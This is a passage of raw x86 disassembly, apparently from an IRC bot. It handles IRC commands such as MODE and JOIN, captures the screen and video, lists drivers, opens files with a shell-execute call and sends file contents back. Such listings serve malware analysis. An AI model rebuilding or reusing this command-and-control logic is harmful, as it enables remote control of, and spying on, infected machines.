		mov	[ebp+var_2218],	esi
		push	offset unk_42A570
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42A534


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A508
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42A4CC
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4BC
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4B0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4BC
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A494


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A48C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4BC
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A470
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4BC
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A454
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A42C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A420
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2680F4Eh
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A40C
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3F0
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3D0
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3B0


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A604
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A388
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A358
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A33C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A308
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D8
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A29C


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A26C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A244
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1DC
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A4


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A170
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A130
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0F0
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0CC
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A8
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A4 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A078


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A060
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A040
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A024
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A00C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_429FCC


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 26901B6h
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F74
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A77C
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F50
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F20


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429F00
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ED0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EB0
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E88
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E60
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E40
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E1C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
